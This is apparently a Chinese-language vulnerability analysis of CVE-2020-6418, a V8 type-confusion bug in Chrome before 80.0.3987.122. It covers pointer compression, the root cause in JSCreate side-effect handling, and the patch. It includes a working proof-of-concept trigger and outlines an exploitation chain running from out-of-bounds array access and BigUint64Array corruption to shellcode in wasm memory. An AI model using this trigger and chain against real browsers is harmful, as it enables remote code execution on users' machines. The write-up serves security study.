browser-pwn cve-2020-6418漏洞分析
字数 1955 2025-08-26 22:11:57
CVE-2020-6418 V8漏洞分析与利用技术详解
基础知识:Pointer Compression
Pointer compression是V8 8.0中为提高64位机器内存利用率而引入的机制:
-
指针长度变化:
- 之前指针都是64位,现在压缩为32位
- 高32位地址保存在根寄存器(r13)中
- 访问对象时只需提供低32位地址,加上r13得到完整地址
-
SMI(Small Integer)表示变化:
- 之前64位系统中SMI表示是value<<32
- 现在表示为value<<1,占用32字节
- 左移一位相当于乘以2
-
内存影响:
- 数组从SMI转DOUBLE时占用空间几乎翻倍
- 从DOUBLE转object数组时占用空间缩小一半
- 内存利用率提升接近40%
漏洞描述
CVE-2020-6418是V8的类型混淆漏洞:
- 影响版本:Chrome 80.0.3987.122之前版本
- 漏洞本质:
a.pop调用时未考虑JSCreate结点的side-effect - 触发条件:回调函数改变数组类型(SMI→DOUBLE),但后续仍按SMI处理
漏洞分析
PoC分析
let a = [0, 1, 2, 3, 4];
function empty() {}
function f(p) {
a.pop(Reflect.construct(empty, arguments, p));
}
let p = new Proxy(Object, {
get: () => (a[0] = 1.1, Object.prototype)
});
function main(p) {
f(p);
}
%PrepareFunctionForOptimization(empty);
%PrepareFunctionForOptimization(f);
%PrepareFunctionForOptimization(main);
main(empty);
main(empty);
%OptimizeFunctionOnNextCall(main);
main(p);
关键点:
- Proxy回调中将数组a从PACKED_SMI_ELEMENTS改为PACKED_DOUBLE_ELEMENTS
- 优化后pop仍按SMI处理,导致类型混淆
- 实际输出应为2,但输出0(SMI读取DOUBLE数据)
源码分析
JSCallReducer中的builtin inlining
builtin inlining发生在两个阶段:
- inlining and native context specialization阶段
- typed lowering阶段
Array.prototype.pop在JSCallReducer中进行内联优化:
Reduction JSCallReducer::ReduceArrayPrototypePop(Node* node) {
// 获取value/effect/control输入
Node* receiver = NodeProperties::GetValueInput(node, 1);
Node* effect = NodeProperties::GetEffectInput(node);
Node* control = NodeProperties::GetControlInput(node);
// 推断对象类型
MapInference inference(broker(), receiver, effect);
if (!inference.HaveMaps()) return NoChange();
// 确定类型是否可靠
inference.RelyOnMapsPreferStability(dependencies(), jsgraph(), &effect,
control, p.feedback());
// 根据类型实现pop功能
// ...
}
MapInference机制
MapInference类负责:
- 推断传入对象的类型(MAP)
- 根据effect决定返回的MAP是否可靠(reliable)
InferReceiverMapsUnsafe函数判断MAP是否可靠:
- 遍历effect链,检查是否有改变对象类型的操作
- 无改变则返回kReliableReceiverMaps
- 有改变则返回kUnreliableReceiverMaps
漏洞根源
漏洞版本中InferReceiverMapsUnsafe对kJSCreate结点处理不当:
- 认为
JSCreate没有side-effect - 实际
Reflect.construct会转换成JSCreate结点 - 通过Proxy可触发回调修改对象类型
补丁后代码在kJSCreate处强制标记为kUnreliableReceiverMaps
漏洞利用
利用思路
- 利用类型混淆覆盖float数组的length字段
- 通过越界读写找到布置的BigUint64Array
- 覆盖BigUint64Array的base_pointer/external_pointer实现任意读写
BigUint64Array结构
关键字段(均为64位无tag):
- length
- base_pointer
- external_pointer
数据存储:
- data_ptr = base_pointer + external_pointer
- 初始时external_pointer是根寄存器r13的高32位
利用方式:
- 覆盖base_pointer实现4GB堆空间内相对地址读写
- 读取external_pointer获取根值
- 覆盖两者实现绝对地址读写
利用步骤
- 构造越界读写:
const MAX_ITERATIONS = 0x10000;
var maxSize = 1020*4;
var vulnArray = [,,,,,,,,,,,,,, 1.1, 2.2, 3.3];
// ... 触发类型混淆覆盖length
-
构造AAR/AAW原语:
- 通过越界读写找到BigUint64Array
- 覆盖其指针字段
-
构造AddrOf/FakeObj原语:
- 覆盖object数组字段(32字节)
-
定位wasm对象rwx内存并执行shellcode
其他注意事项
为什么需要外层main函数:
- 直接调用f会被转换成JSCallForwardVarargs结点
- 外层函数会保持JSConstructWithArrayLike结点
- 确保生成JSCreate结点触发漏洞
总结
- 漏洞本质:JSCreate结点side-effect判断错误导致类型混淆
- 利用关键:通过Proxy回调改变数组类型
- 新挑战:Pointer compression下的利用技术
- 影响范围:Chrome 80.0.3987.122之前版本